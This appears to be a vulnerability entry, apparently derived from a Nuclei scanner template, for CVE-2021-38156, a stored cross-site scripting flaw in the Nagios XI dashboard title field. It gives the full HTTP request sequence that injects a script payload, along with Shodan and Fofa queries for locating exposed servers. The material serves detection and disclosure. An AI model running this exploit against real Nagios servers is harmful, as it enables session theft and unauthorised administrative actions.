| Title | Nagios XI < 5.8.6 - Cross-Site Scripting |
|---|---|
| Author | ritikchaddha |
| Severity | Medium |
| Impact | Authenticated attackers can inject malicious JavaScript via XSS in the dashboard title field, potentially stealing administrator session cookies or performing administrative actions. |
| Remediation | Upgrade to Nagios XI version 5.8.6 or later. |
| CVSS Score | 5.4 |
| EPSS Score | 0.84015 |
| CVE ID | CVE-2021-38156 |
| CWE ID | CWE-79 |
| Shodan Query | http.title:"nagios xi" |
| Fofa Query | app="nagios-xi" |
| Tags | cve cve2021 nagios nagiosxi xss authenticated vuln |
In Nagios XI before 5.8.6, XSS exists in the dashboard page (/dashboards/#) when administrative users attempt to edit a dashboard.
GET /nagiosxi/login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; de-de) AppleWebKit/525.18 (KHTML, like Gecko) Version/3.1.1 Safari/525.20
Connection: close
Accept-Encoding: gzip
POST /nagiosxi/login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.8 Mobile/15E148 Safari/604.1
Connection: close
Content-Length: 56
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
nsp=Ogkmbw&pageopt=login&username=fGvlgR&password=Wx1omh
GET /nagiosxi/index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:124.0) Gecko/20100101 Firefox/124.0
Connection: close
Accept-Encoding: gzip
POST /nagiosxi/ajaxhelper.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123
Connection: close
Content-Length: 138
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip
cmd=updatedashboard&id=home&opts=&title="><script>alert(document.domain)</script>&background=&transparent=0&submitButton=Submit&nsp=FlxyKa
GET /nagiosxi/dashboards/manage.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-38156.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-38156.pcap
N/AN/A